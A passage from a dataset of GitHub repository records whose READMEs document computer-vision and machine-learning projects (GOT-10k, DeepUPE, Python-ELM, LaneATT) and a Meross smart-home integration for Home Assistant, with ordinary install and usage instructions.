define a tracker, run experiments on GOT-10k and evaluate performance.\n\n```Python\nfrom got10k.trackers import Tracker\nfrom got10k.experiments import ExperimentGOT10k\n\nclass IdentityTracker(Tracker):\n    def __init__(self):\n        super(IdentityTracker, self).__init__(name='IdentityTracker')\n    \n    def init(self, image, box):\n        self.box = box\n\n    def update(self, image):\n        return self.box\n\nif __name__ == '__main__':\n    # setup tracker\n    tracker = IdentityTracker()\n\n    # run experiments on GOT-10k (validation subset)\n    experiment = ExperimentGOT10k('data/GOT-10k', subset='val')\n    experiment.run(tracker, visualize=True)\n\n    # report performance\n    experiment.report([tracker.name])\n```\n\nTo run experiments on [OTB](http://cvlab.hanyang.ac.kr/tracker_benchmark/index.html), [VOT](http://votchallenge.net) or other benchmarks, simply change `ExperimentGOT10k`, e.g., to `ExperimentOTB` or `ExperimentVOT`, and `root_dir` to their corresponding paths for this purpose.\n\n### Quick Start: Jupyter Notebook for Off-the-Shelf Usage\n\nOpen [quick_examples.ipynb](https://github.com/got-10k/toolkit/tree/master/examples/quick_examples.ipynb) in [Jupyter Notebook](http://jupyter.org/) to see more examples on toolkit usage.\n\n### How to Define a Tracker?\n\nTo define a tracker using the toolkit, simply inherit and override `init` and `update` methods from the `Tracker` class. Here is a simple example:\n\n```Python\nfrom got10k.trackers import Tracker\n\nclass IdentityTracker(Tracker):\n    def __init__(self):\n        super(IdentityTracker, self).__init__(\n            name='IdentityTracker',  # tracker name\n            is_deterministic=True    # stochastic (False) or deterministic (True)\n        )\n    \n    def init(self, image, box):\n        self.box = box\n\n    def update(self, image):\n        return self.box\n```\n\n### How to Run Experiments on GOT-10k?\n\nInstantiate an `ExperimentGOT10k` object, and leave all experiment pipelines to its `run` method:\n\n```Python\nfrom got10k.experiments import ExperimentGOT10k\n\n# ... tracker definition ...\n\n# instantiate a tracker\ntracker = IdentityTracker()\n\n# setup experiment (validation subset)\nexperiment = ExperimentGOT10k(\n    root_dir='data/GOT-10k',    # GOT-10k's root directory\n    subset='val',               # 'train' | 'val' | 'test'\n    result_dir='results',       # where to store tracking results\n    report_dir='reports'        # where to store evaluation reports\n)\nexperiment.run(tracker, visualize=True)\n```\n\nThe tracking results will be stored in `result_dir`.\n\n### How to Evaluate Performance?\n\nUse the `report` method of `ExperimentGOT10k` for this purpose:\n\n```Python\n# ... run experiments on GOT-10k ...\n\n# report tracking performance\nexperiment.report([tracker.name])\n```\n\nWhen evaluated on the __validation subset__, the scores and curves will be directly generated in `report_dir`.\n\nHowever, when evaluated on the __test subset__, since all groundtruths are withholded, you will have to submit your results to the [evaluation server](http://got-10k.aitestunion.com/submit_instructions) for evaluation. The `report` function will generate a `.zip` file which can be directly uploaded for submission. For more instructions, see [submission instruction](http://got-10k.aitestunion.com/submit_instructions).\n\nSee public evaluation results on [GOT-10k's leaderboard](http://got-10k.aitestunion.com/leaderboard).\n\n## How to Plot Success Curves?\n\nAssume that a list of all performance files (JSON files) are stored in `report_files`, here is an example showing how to plot success curves:\n\n```Python\nfrom got10k.experiments import ExperimentGOT10k\n\nreport_files = ['reports/GOT-10k/performance_25_entries.json']\ntracker_names = ['SiamFCv2', 'GOTURN', 'CCOT', 'MDNet']\n\n# setup experiment and plot curves\nexperiment = ExperimentGOT10k('data/GOT-10k', subset='test')\nexperiment.plot_curves(report_files, tracker_names)\n```\n\nThe report file of 25 baseline entries can be downloaded from the [Downloads page](http://got-10k.aitestunion.com/downloads). You can also download single report file for each entry from the [Leaderboard page](http://got-10k.aitestunion.com/leaderboard).\n\n### How to Loop Over GOT-10k Dataset?\n\nThe `got10k.datasets.GOT10k` provides an iterable and indexable interface for GOT-10k's sequences. Here is an example:\n\n```Python\nfrom PIL import Image\nfrom got10k.datasets import GOT10k\nfrom got10k.utils.viz import show_frame\n\ndataset = GOT10k(root_dir='data/GOT-10k', subset='train')\n\n# indexing\nimg_file, anno = dataset[10]\n\n# for-loop\nfor s, (img_files, anno) in enumerate(dataset):\n    seq_name = dataset.seq_names[s]\n    print('Sequence:', seq_name)\n\n    # show all frames\n    for f, img_file in enumerate(img_files):\n        image = Image.open(img_file)\n        show_frame(image, anno[f, :])\n```\n\nTo loop over `OTB` or `VOT` datasets, simply change `GOT10k` to `OTB` or `VOT` for this purpose.\n\n### Issues\n\nPlease report any problems or suggessions in the [Issues](https://github.com/got-10k/toolkit/issues) page.\n\n### Contributors\n\n- [Lianghua Huang](https://github.com/huanglianghua)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "dvlab-research/DeepUPE", "link": "https://github.com/dvlab-research/DeepUPE", "tags": [], "stars": 514, "description": "Underexposed Photo Enhancement Using Deep Illumination Estimation", "lang": "Python", "repo_lang": "", "readme": "# Underexposed Photo Enhancement Using Deep Illumination Estimation\n\n[Ruixing Wang](http://appsrv.cse.cuhk.edu.hk/~rxwang/)<sup>1</sup>, [Qing Zhang](http://zhangqing-home.net)<sup>2</sup>, [Chi-Wing Fu](https://www.cse.cuhk.edu.hk/~cwfu/)<sup>1</sup>, [Xiaoyong Shen](http://xiaoyongshen.me/)<sup>3</sup>, [Wei-Shi Zheng](https://sites.google.com/site/sunnyweishi/)<sup>2</sup>, [Jiaya Jia](http://jiaya.me/)<sup>1,3</sup>\n\n<sup>1</sup>The chinese university of hong kong <sup>2</sup>Sun Yat-sen University <sup>3</sup>Tencent Youtu Lab\n\n### [Paper](https://drive.google.com/file/d/1CCd0NVEy0yM2ulcrx44B1bRPDmyrgNYH/view?usp=sharing), [Errata](https://drive.google.com/file/d/1fJ7MQfm6NuCMtfQzLM0Y6LNU9XyQb6Ho/view?usp=sharing)\n### Usage\n\n1. Clone the repository:\n\n   ```shell\n   git clone https://github.com/wangruixing/DeepUPE.git\n   ```\n2. Install the Python dependencies, run:\n    ```shell\n    cd main\n    pip install -r requirements.txt\n    make\n    ```\n3. Evaluation:\nThe test set can be downloaded in https://drive.google.com/open?id=1FrlMdnwiUfHthtw0jHdp40IbOVXfsoZJ. It includes 500 pair images from MIT-Adobe FiveK 4500-5000. You can download this and run:\n```shell\n    python main/run.py checkpoints <input file path> <output file path>\n```    \nPSNR evaluation code is in avg_psnr.m. Modify the related paths in 'avg_psnr.m', and run it.\n\n### Errata\nWe recently found an implementation bug in calculating PSNR. Fortunately, this bug doesn't affect any of the conclusions in our paper, we have corrected this bug in the Matlab code and updated the corresponding values in the revised paper. We apologize for the confusion to readers.\n\n\n# Bibtex\n```\n@InProceedings{Wang_2019_CVPR,\nauthor = {Wang, Ruixing and Zhang, Qing and Fu, Chi-Wing and Shen, Xiaoyong and Zheng, Wei-Shi and Jia, Jiaya},\ntitle = {Underexposed Photo Enhancement Using Deep Illumination Estimation},\nbooktitle = {The IEEE Conference on Computer Vision and Pattern Recognition (CVPR)},\nmonth = {June},\nyear = {2019}\n}\n```\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "dclambert/Python-ELM", "link": "https://github.com/dclambert/Python-ELM", "tags": [], "stars": 514, "description": "Extreme Learning Machine implementation in Python", "lang": "Python", "repo_lang": "", "readme": "Python-ELM v0.3\n===============\n\n__---> ARCHIVED March 2021 <---__\n\n###### This is an implementation of the [Extreme Learning Machine](http://www.extreme-learning-machines.org) [1][2] in Python, based on [scikit-learn](http://scikit-learn.org).\n\n###### From the abstract:\n\n> It is clear that the learning speed of feedforward neural networks is in general far slower than required and it has been a major bottleneck in their applications for past decades. Two key reasons behind may be: 1) the slow gradient- based learning algorithms are extensively used to train neural networks, and 2) all the parameters of the networks are tuned iteratively by using such learning algorithms. Unlike these traditional implementations, this paper proposes a new learning algorithm called extreme learning machine (ELM) for single- hidden layer feedforward neural networks (SLFNs) which ran- domly chooses the input weights and analytically determines the output weights of SLFNs. In theory, this algorithm tends to provide the best generalization performance at extremely fast learning speed. The experimental results based on real- world benchmarking function approximation and classification problems including large complex applications show that the new algorithm can produce best generalization performance in some cases and can learn much faster than traditional popular learning algorithms for feedforward neural networks.\n\nIt's a work in progress, so things can/might/will change.\n\n__David C. Lambert__  \n__dcl [at] panix [dot] com__  \n\n__Copyright \u00a9 2013__  \n__License: Simple BSD__\n\nFiles\n-----\n#### __random_layer.py__\n\nContains the __RandomLayer__, __MLPRandomLayer__, __RBFRandomLayer__ and __GRBFRandomLayer__ classes.\n\nRandomLayer is a transformer that creates a feature mapping of the\ninputs that corresponds to a layer of hidden units with randomly \ngenerated components.\n\nThe transformed values are a specified function of input activations\nthat are a weighted combination of dot product (multilayer perceptron)\nand distance (rbf) activations:\n\n\t  input_activation = alpha * mlp_activation + (1-alpha) * rbf_activation\n\n\t  mlp_activation(x) = dot(x, weights) + bias\n\t  rbf_activation(x) = rbf_width * ||x - center||/radius\n\n_mlp_activation_ is multi-layer perceptron input activation  \n\n_rbf_activation_ is radial basis function input activation\n\n_alpha_ and _rbf_width_ are specified by the user\n\n_weights_ and _biases_ are taken from normal distribution of\nmean 0 and sd of 1\n\n_centers_ are taken uniformly from the bounding hyperrectangle\nof the inputs, and\n\n\tradius = max(||x-c||)/sqrt(n_centers*2)\n\n(All random components can be supplied by the user by providing entries in the dictionary given as the _user_components_ parameter.)\n\nThe input activation is transformed by a transfer function that defaults\nto numpy.tanh if not specified, but can be any callable that returns an\narray of the same shape as its argument (the input activation array, of\nshape [n_samples, n_hidden]).\n\nTransfer functions provided are:\n\n*\tsine\n*\ttanh\n*\ttribas\n*\tinv_tribas\n*\tsigmoid\n*\thardlim\n*\tsoftlim\n*\tgaussian\n*\tmultiquadric\n*\tinv_multiquadric\n\nMLPRandomLayer and RBFRandomLayer classes are just wrappers around the RandomLayer class, with the _alpha_ mixing parameter set to 1.0 and 0.0 respectively (for 100% MLP input activation, or 100% RBF input activation)\n\t\nThe RandomLayer, MLPRandomLayer, RBFRandomLayer classes can take a callable user\nprovided transfer function.  See the docstrings and the example ipython\nnotebook for details.\n\nThe GRBFRandomLayer implements the Generalized Radial Basis Function from [[3]](http://sci2s.ugr.es/keel/pdf/keel/articulo/2011-Neurocomputing1.pdf)\n\n#### __elm.py__\n\nContains the __ELMRegressor__, __ELMClassifier__, __GenELMRegressor__, and __GenELMClassifier__ classes.\n\nGenELMRegressor and GenELMClassifier both take *RandomLayer instances as part of their contructors, and an optional regressor (conforming to the sklearn API)for performing the fit (instead of the default linear fit using the pseudo inverse from scipy.pinv2).\nGenELMClassifier is little more than a wrapper around GenELMRegressor that binarizes the target array before performing a regression, then unbinarizes the prediction of the regressor to make its own predictions.\n\nThe ELMRegressor class is a wrapper around GenELMRegressor that uses a RandomLayer instance by default and exposes the RandomLayer parameters in the constructor.  ELMClassifier is similar for classification.\n\n#### __plot_elm_comparison.py__\n\nA small demo (based on scikit-learn's plot_classifier_comparison) that shows the decision functions of a couple of different instantiations of the GenELMClassifier on three different datasets.\n\n#### __elm_notebook.py__\n\nAn IPython notebook, illustrating several ways to use the __\\*ELM\\*__ and __\\*RandomLayer__ classes.\n\nRequirements\n------------\n\nWritten using Python 2.7.3, numpy 1.6.1, scipy 0.10.1, scikit-learn 0.13.1 and ipython 0.12.1\n\nReferences\n----------\n```\n[1] http://www.extreme-learning-machines.org\n\n[2] G.-B. Huang, Q.-Y. Zhu and C.-K. Siew, \"Extreme Learning Machine:\n          Theory and Applications\", Neurocomputing, vol. 70, pp. 489-501,\n          2006.\n          \n[3] Fernandez-Navarro, et al, \"MELM-GRBF: a modified version of the  \n          extreme learning machine for generalized radial basis function  \n          neural networks\", Neurocomputing 74 (2011), 2502-2510\n```\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "albertogeniola/meross-homeassistant", "link": "https://github.com/albertogeniola/meross-homeassistant", "tags": ["meross", "homeassistant", "meross-homeassistant"], "stars": 514, "description": "Custom component that leverages the Meross IoT library to integrate with Homeassistant", "lang": "Python", "repo_lang": "", "readme": "[![hacs_badge](https://img.shields.io/badge/HACS-Default-orange.svg?style=for-the-badge)](https://github.com/hacs/integration)\n![Build](https://img.shields.io/azure-devops/build/albertogeniola/c4128d1b-c23c-418d-95c5-2de061954ee5/3/master?style=for-the-badge)\n\n## \ud83d\udca3\ud83d\udca3 BREAKING CHANGES FROM MEROSS API \ud83d\udca3\ud83d\udca3\nIn the past 24 hours, Meross has changed the signature of its HTTP API version (keeping the same API version in place). \n**That did break every HomeAssistant integration version below 1.2.6 (included).**\nIn order to solve the issue, you should upgrade to version **1.2.8** which includes the necessary changes to work again with the updated version of the Meross APIs.\n\n# Meross HomeAssistant component\nA full-featured Homeassistant component to drive Meross devices. \nThis component is based on the underlying MerossIot library available [here](https://github.com/albertogeniola/MerossIot).\n\n## Installation & configuration\nYou can install this component in two ways: via HACS or manually.\nHACS is a nice community-maintained components manager, which allows you to install git-hub hosted components in a few clicks.\nIf you have already HACS installed on your HomeAssistant, it's better to go with that.\nOn the other hand, if you don't have HACS installed or if you don't plan to install it, then you can use manual installation.\n\n### Option A: Installing via HACS\nIf you have HACS, well, it's piece of cake! \nJust search for \"Meross\" (Full name is Meross Cloud IoT) in the default repository of HACS and it'll show up.\nClick on Install. When the installation completes, **you must restart homeassistant** in order to make it work.\nAs soon as HomeAssistant is restarted, you can proceed with __component setup__.\n\n### Option B: Classic installation (custom_component)\n1. Download the latest zip release archive from [here](https://github.com/albertogeniola/meross-homeassistant/releases/latest)\n1. Unzip/copy the meross_cloud directory within the `custom_components` directory of your homeassistant installation.\nThe `custom_components` directory resides within your homeassistant configuration directory.\nUsually, the configuration directory is within your home (`~/.homeassistant/`).\nIn other words, the configuration directory of homeassistant is where the config.yaml file is located.\nAfter a correct installation, your configuration directory should look like the following.\n    ```\n    \u2514\u2500\u2500 ...\n    \u2514\u2500\u2500 configuration.yaml\n    \u2514\u2500\u2500 secrects.yaml\n    \u2514\u2500\u2500 custom_components\n        \u2514\u2500\u2500 meross_cloud\n            \u2514\u2500\u2500 __init__.py\n            \u2514\u2500\u2500 common.py\n            \u2514\u2500\u2500 cover.py\n            \u2514\u2500\u2500 ...\n    ```\n\n    **Note**: if the custom_components directory does not exist, you need to create it.\n\nAfter copy-pasting the meross_cloud directory into the custom_components folder, you need to restart HomeAssistant.\nAs soon as HomeAssistant is restarted, you can proceed with __component setup__.\n\n### Component setup    \nOnce the component has been installed, you need to configure it in order to make it work.\nTo do so, navigate to \"Configuration -> Integrations -> Add Integration\" and look for \"Meross Cloud IoT\".\nAs soon as you add it, you'll be asked to configure it. \nThe following table summarizes the fields that the wizard will require you to fill in:\n\n|  Field Name                      | Example Value           | Description                                             | \n|----------------------------------|-------------------------|---------------------------------------------------------|\n| HTTP Api Endpoint                | https://iot.meross.com  | Is the HTTP(s) API endpoint used by the Meross Manager. This might vary in accordance with your country | \n| Email Address                    | johndoe@gmail.com       | Your Meross account username/email. If connecting to the official Meross cloud, use the same from the Meross App |\n| Password                         | R4nd0mS3cret            | Your Meross account password. If connecting to the official Meross cloud, use the same from the Meross App |\n| Skip MQTT certificate validation | True (Checked)          | Configures MQTT certificate validation. When unchecked it requires a valid certificate to be exposed from the Meross Server. If checked, it skips the MQTT certificate validation. If connecting to the official Meross cloud, you can uncheck this. When connecting to local-lan or custom MQTT brokers, you might want to check this. |\n\nThe following animation shows an example of component configuration\n[![Installation via web UI](https://raw.githubusercontent.com/albertogeniola/meross-homeassistant/master/docs/source/images/components/meross_cloud/install-via-webui.gif)](https://raw.githubusercontent.com/albertogeniola/meross-homeassistant/master/docs/source/images/components/meross_cloud/install-via-webui.gif)\n\n## Features\n### Massive support\nThis library supports all the Meross devices currently exposed by the Meross IoT library.\nIn particular Bulbs, Switches, Garage Door Openers and Smart Valves/Thermostat are fully supported and perfectly integrated with HomeAssistant.\n\n<details>\n    <summary>Have a look a the screenshots below...</summary>\n\n<img src=\"docs/source/images/components/meross_cloud/general-ui.png\" alt=\"User interface\" width=400> \n<img src=\"docs/source/images/components/meross_cloud/bulb-control.png\" alt=\"Controlling the light bulb\" width=400> \n<img src=\"docs/source/images/components/meross_cloud/garage-control.png\" alt=\"Controlling the garage opener\" width=400> \n<img src=\"docs/source/images/components/meross_cloud/sensor.png\" alt=\"Power sensor feedbacks\" width=400> \n<img src=\"docs/source/images/components/meross_cloud/switch-control.png\" alt=\"Controlling switches\" width=400> \n</details>\n \n## :new: :rocket: A first version of the Local-Only Addon is HERE! :rocket:\nIt took a bit, but eventually it's here. A very first **unstable** version of the Local Meross Addon has been developed.\nThe latest version of this component, v1.2.5rc1, does support it and has been tested successfully with both a MSS210 and a MSS310 devices.\nPlease note that the usage of the Local Addon is only advised for all the advanced users who are experiencing problems with Meross security\nteam, complaining about high rate API calls to their systems. If you plan to use such devices off-grid, the Local Addon is what you are\nlooking for. Again, be avised: it's still a work in progress and your devices might not work as expected (for now).\n\nYou can find installation instructions for the Local Addon directly [here](https://github.com/albertogeniola/ha-meross-local-broker).\n\n### What is the local-addon?\nMeross Plugin has gained great success and popularity among the HomeAssistant users. However, the Meross engineers are imposing\nnew limits on their MQTT broker system, which cause problems to the HA users who want to implement aggressive polling or have\nmore than 10 devices connected to HA. For this reason, I am working on a new HomeAssistant addon, namely \"Meross Local Addon\", \nwhich aims at re-implementing the Meross MQTT Broker and HTTP API layer locally to the addon. This would basically allow users\nto rely only on LAN-local connection, using HomeAssistant as command center. \n\n### How to use the this Meross Component with the Local Addon?\nIn order to take advantage of the Local Meross Addon, you need to follow the instructions below:\n1. Install or update the version of the Meross Custom Component via HACS (or manually, if you prefer) at least to version 1.2.5rc1, \nwhich is the first one supporting the Meross Local Addon.\n1. Add the Meross Local Addon repository to your HomeAssistant installation. You can do that following the [instructions here]([url](https://github.com/albertogeniola/ha-meross-local-broker)) or simply press the following button\n\n    [![Open your Home Assistant instance and show the add add-on repository dialog with a specific repository URL pre-filled.](https://my.home-assistant.io/badges/supervisor_add_addon_repository.svg)](https://my.home-assistant.io/redirect/supervisor_add_addon_repository/?repository_url=https%3A%2F%2Fgithub.com%2Falbertogeniola%2Fha-meross-local-broker)\n1. Make sure the \"Meross Local Addon for Homeassistant\" appears in the section of \"community addons\" and, if so, install it. At the time of writing the latest\navailable version is *0.0.1-alpha42*. Depending on the HA hosting system and on the internect connection speed, it can take up to 20 minutes for the installation to complete.\n\n    <a href=\"https://user-images.githubusercontent.com/4648843/174432626-51b6a569-2d95-464e-87bc-8a6fa702f9f1.png\"><img src=\"https://user-images.githubusercontent.com/4648843/174432626-51b6a569-2d95-464e-87bc-8a6fa702f9f1.png\" width=300/></a>\n    <a href=\"https://user-images.githubusercontent.com/4648843/174432630-031526ee-5f42-4d61-bfa2-e9badbc74675.png\"><img src=\"https://user-images.githubusercontent.com/4648843/174432630-031526ee-5f42-4d61-bfa2-e9badbc74675.png\" width=300/></a>\n1. Navigate to the configuration section of the \"Meross Local Addon\" and make sure the option reinit_db is OFF, while the option \"advertise\" is ON. Leave debug_mode OFF, unless you need to provide supplementary logging information to debug issues. Make sure you don't have any firewall blocking the network traffic to the ports indicated on this section, as the addon will receive traffic from both meross devices and pairer app on such ports.\n    \n    <a href=\"https://user-images.githubusercontent.com/4648843/174433609-0997e67d-adf5-4262-9c30-ea2eaae08169.png\"><img src=\"https://user-images.githubusercontent.com/4648843/174433609-0997e67d-adf5-4262-9c30-ea2eaae08169.png\" width=300></a>\n1. Navigate to the \"info\" panel of the addon and make sure the \"Start at boot\" option is ON. Also, make sure the \"Show in menu\" option is set to ON. Then, start the ADDON and wait at least 5 minutes. Depending on the device you are running on, the first boot may take up to 10 minutes to complete.\n\n    <a href=\"https://user-images.githubusercontent.com/4648843/174433626-f3cb7efb-b6aa-4930-9a13-ba7a95cae678.png\"><img src=\"https://user-images.githubusercontent.com/4648843/174433626-f3cb7efb-b6aa-4930-9a13-ba7a95cae678.png\" width=300/></a>\n1. Open \"Meross Local Addon\" web-interface (you can either click on \"Open Web UI\" or click on the left menu icon <img src=\"https://user-images.githubusercontent.com/4648843/174433435-3b723738-7e31-4146-9237-709bd9816be5.png\" width=32>. Then, from the web-ui, click on \"Wizard Setup\" or on \"Setup\"  and follow the instructions to configure your addon. For now, it's advised not to use the \"Official Meross Link\", as it is still under development.\n\n    <a href=\"https://user-images.githubusercontent.com/4648843/174433687-deb0ee20-a4fc-4258-9553-cd5221a64b0e.png\"><img src=\"https://user-images.githubusercontent.com/4648843/174433687-deb0ee20-a4fc-4258-9553-cd5221a64b0e.png\" width=300/></a>\n    <a href=\"https://user-images.githubusercontent.com/4648843/174433758-69c4eb07-c00e-49f5-b041-60f36f5fef93.png\"><img src=\"https://user-images.githubusercontent.com/4648843/174433758-69c4eb07-c00e-49f5-b041-60f36f5fef93.png\" width=300/><a>\n\n1. The wizard will guide you through the Account Setup, Meross App installation and pairing process. Make sure you are able to pair at least one device.\n    Note about Step 1, credentials setup: choose the username/password you will be using locally to pair your devices. If you don't plan to \"link\" the local addon to the official meross broker, you can choose whatever credentials you like. For instance, you can set: \n        username: `meross@local`\n        password: `changeme`\n1. When you have paired all the devices you want to manage locally, you can proceed with the setup of the Meross Component. \nNavigate to the HA integration list, and proceed with the installation of the Meross Addon. During the setup phase, make sure to select local addon setup option, not the one relying on the official Meross Broker.\n    \n**NOTE**: sometimes, for yet-unknown reasons, MSS310 fails to pair with the local addon broker. However, resetting and retrying the pairing procedure a second time usually works. More recent devices, as the mss210, seem not to suffer of the same problem.\n\nAs you can imagine, there is a huge work behind that: first I need to reverse-engineer the Meross protocols, then I need to \nimplement any \"logic-layer\" implemented on Meross Systems on the new addon I am developing and, eventually, I have to make\nsure that everything works together. That means that I am not able to spend much time in solving issues that may arise in \nthe meantime, and for that I apologize. If you like this project and you want to support me, please consider donating:\nthat motivates me and helps me buy _more ram_ which is absolutely necessary when developing on a virtualized environment.\n\n## Supporting my work\nBy buying me a coffee, not only you make my development more efficient, but also motivate me to further improve \nmy work. On the other hand, buying me a beer will certainly make me happier: **a toast to you, supporter**!\nIn case you are a pro and a strong opensource supporter, you might also consider [sponsoring my GitHub work](https://github.com/sponsors/albertogeniola).\n\n[![Buy me a coffe!](https://www.buymeacoffee.com/assets/img/custom_images/black_img.png)](https://www.buymeacoffee.com/albertogeniola)\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "LouisScorpio/datamining", "link": "https://github.com/LouisScorpio/datamining", "tags": [], "stars": 514, "description": "learn in datamining", "lang": "Python", "repo_lang": "", "readme": "", "readme_type": "text", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "lucastabelini/LaneATT", "link": "https://github.com/lucastabelini/LaneATT", "tags": ["lane-detection", "deep-learning", "computer-vision", "pytorch"], "stars": 514, "description": "Code for the paper entitled \"Keep your Eyes on the Lane: Real-time Attention-guided Lane Detection\" (CVPR 2021)", "lang": "Python", "repo_lang": "", "readme": "<div align=\"center\">\n\n# LaneATT\n[![arXiv](https://img.shields.io/badge/arXiv-2010.12035-b31b1b.svg)](https://arxiv.org/abs/2010.12035)\n[![CVPR](https://img.shields.io/badge/CVPR-PDF-blue)](https://openaccess.thecvf.com/content/CVPR2021/html/Tabelini_Keep_Your_Eyes_on_the_Lane_Real-Time_Attention-Guided_Lane_Detection_CVPR_2021_paper.html)\n![Method overview](data/figures/method-overview.png \"Method overview\")\n</div>\n\nThis repository holds the source code for LaneATT, a novel state-of-the-art lane detection model proposed in the [paper](https://arxiv.org/abs/2010.12035) \"_Keep your Eyes on the Lane: Real-time Attention-guided Lane Detection_\", by [Lucas Tabelini](https://github.com/lucastabelini), [Rodrigo Berriel](http://rodrigoberriel.com), [Thiago M. Paix\u00e3o](https://sites.google.com/view/thiagopx), [Claudine Badue](http://www.inf.ufes.br/~claudine/), [Alberto F. De Souza](http://www.lcad.inf.ufes.br/team/index.php/Prof._Dr._Alberto_Ferreira_De_Souza), and [Thiago Oliveira-Santos](http://www.inf.ufes.br/~todsantos/home).\n\n**News (2021-03-01)**: Our paper presenting LaneATT has been accepted to CVPR'21.\n\n### Table of contents\n1. [Prerequisites](#1-prerequisites)\n2. [Install](#2-install)\n3. [Getting started](#3-getting-started)\n4. [Results](#4-results)\n5. [Code structure](#5-code-structure)\n6. [Citation](#6-Citation)\n\n\n### 1. Prerequisites\n- Python >= 3.5\n- PyTorch == 1.6, tested on CUDA 10.2. The models were trained and evaluated on PyTorch 1.6. When testing with other versions, the results (metrics) are slightly different.\n- CUDA, to compile the NMS code\n- Other dependencies described in `requirements.txt`\n\nThe versions described here were the lowest the code was tested with. Therefore, it may also work in other earlier versions, but it is not guaranteed (e.g., the code might run, but with different outputs).\n\n### 2. Install\nConda is not necessary for the installation, as you can see, I only use it for PyTorch and Torchvision.\nNevertheless, the installation process here is described using it.\n\n```bash\nconda create -n laneatt python=3.8 -y\nconda activate laneatt\nconda install pytorch==1.6 torchvision -c pytorch\npip install -r requirements.txt\ncd lib/nms; python setup.py install; cd -\n```\n\n### 3. Getting started\n#### Datasets\nFor a guide on how to download and setup each dataset, see [DATASETS.md](DATASETS.md).\n\n#### Training & testing\nTrain a model:\n```\npython main.py train --exp_name example --cfg example.yml\n```\nFor example, to train LaneATT with the ResNet-34 backbone on TuSimple, run:\n```\npython main.py train --exp_name laneatt_r34_tusimple --cfg cfgs/laneatt_tusimple_resnet34.yml\n```\nAfter running this command, a directory `experiments` should be created (if it does not already exists). Another\ndirectory `laneatt_r34_tusimple` will be inside it, containing data related to that experiment (e.g., model checkpoints, logs, evaluation results, etc)\n\nEvaluate a model:\n```\npython main.py test --exp_name example\n```\nThis command will evaluate the model saved in the last checkpoint of the experiment `example` (inside `experiments`).\nIf you want to evaluate another checkpoint, the `--epoch` flag can be used. For other flags, please see `python main.py -h`. To **visualize the predictions**, run the above command with the additional flag `--view all`.\n\n#### Reproducing a result from the paper\n0. Set up the dataset you want to reproduce the results on (as described in [DATASETS.md](DATASETS.md)).\n1. Download the zip containing all pretrained models  and then unzip it at the code's root:\n```bash\ngdown \"https://drive.google.com/uc?id=1R638ou1AMncTCRvrkQY6I-11CPwZy23T\" # main experiments on TuSimple, CULane and LLAMAS (1.3 GB)\nunzip laneatt_experiments.zip\n```\n2. Run the evaluation (inference + metric computation):\n```bash\npython main.py test --exp_name $EXP_NAME\n```\nReplace `$EXP_NAME` with the name of a directory inside `experiments/`. For instance, if you want to reproduce the results using the ResNet-34 backbone on the TuSimple dataset, run:\n```bash\npython main.py test --exp_name laneatt_r34_tusimple\n```\nThe results on TuSimple and LLAMAS should match exactly the ones reported in the paper. The results on CULane will deviate in the order of 0.1% (as shown in the CULane table below), since the metric reported on the paper was computed with the official code (C++), while this script will compute it using our implementation (which is much faster and in Python). The official metric implementation is available [here](https://github.com/XingangPan/SCNN/tree/master/tools/lane_evaluation).\n\n### 4. Results\n![F1 vs. Latency for state-of-the-art methods on lane detection](data/figures/f1-vs-latency.png \"F1 vs. Latency for state-of-the-art methods on lane detection\")\n\n#### CULane\n\n|   Backbone    |        F1, official impl. (%)      | F1, our impl. (%) | FPS |\n|     :---      |         ---:                       |   ---:            | ---:|\n| ResNet-18     | 75.13                              |  75.08            | 250 |\n| ResNet-34     | 76.68                              |  76.66            | 171 |\n| ResNet-122    | 77.02                              |  77.02            | 26 |\n\n\"F1, official impl.\" refers to the official CULane metric implementation in C++. \"F1, our impl\" refers to our implementation of the metric in Python. The results reported in the paper were computed using the [official metric implementation](https://github.com/XingangPan/SCNN/tree/master/tools/lane_evaluation)\n (requires OpenCV 2.4).\n [![CULane video](data/figures/culane_video.png \"CULane video\")](https://youtu.be/ghs93acwkBQ)\n\n#### TuSimple\n|   Backbone    |      Accuracy (%)     |      FDR (%)     |      FNR (%)     |      F1 (%)     | FPS |\n|    :---       |         ---:          |       ---:       |       ---:       |      ---:       | ---:|\n| ResNet-18     |    95.57              |    3.56          |    3.01          |    96.71        | 250 |\n| ResNet-34     |    95.63              |    3.53          |    2.92          |    96.77        | 171 |\n| ResNet-122    |    96.10              |    4.64          |    2.17          |    96.06        | 26 |\n\nSince the TuSimple dataset is not sequential, no qualitative video is available.\n\n#### LLAMAS\n|   Backbone    |      F1 (%)     |   Precision (%)  |   Recall (%)  | FPS |\n|    :---       |         ---:    |       ---:       |       ---:    | ---:|\n| ResNet-18     |      93.46      |     96.92        |    90.24      | 250 |\n| ResNet-34     |      93.74      |     96.79        |    90.88      | 171 |\n| ResNet-122    |      93.54      |     96.82        |    90.47      | 26 |\n\n [![LLAMAS video](data/figures/llamas_video.png \"LLAMAS video\")](https://youtu.be/1f_y4A-muMg)\n\nAdditional results can be seen in the paper.\n\n### 5. Code structure\n- **cfgs:** Default configuration files\n- **figures:** Images used in this repository\n- **lib**\n  - **datasets**\n    - **culane.py:** CULane annotation loader\n    - **lane_dataset.py:** Transforms raw annotations from a `LaneDatasetLoader` into a format usable by the model\n    - **lane_dataset_loader.py:** Abstract class that each dataset loader implements\n    - **llamas.py:** LLAMAS annotation loader\n    - **nolabel_dataset.py:** Used on data with no annotation available (or quick qualitative testing)\n    - **tusimple.py:** TuSimple annotation loader\n   - **models:**\n     - **laneatt.py:** LaneATT implementation\n     - **matching.py:** Utility function for ground-truth and proposals matching\n     - **resnet.py:** Implementation of ResNet\n  - **nms:** NMS implementation\n  - **config.py:** Configuration loader\n  - **experiment.py:** Tracks and stores information about each experiment\n  - **focal_loss.py:** Implementation of Focal Loss\n  - **lane.py:** Lane representation\n  - **runner.py:** Training and testing loops\n- **utils**:\n  - **culane_metric.py:** Unofficial implementation of the CULane metric. This implementation is faster than the oficial,\n  however, it does not matches exactly the results of the official one (error in the order of 1e-4). Thus, it was used only during the model's development.\n  For the results reported in the 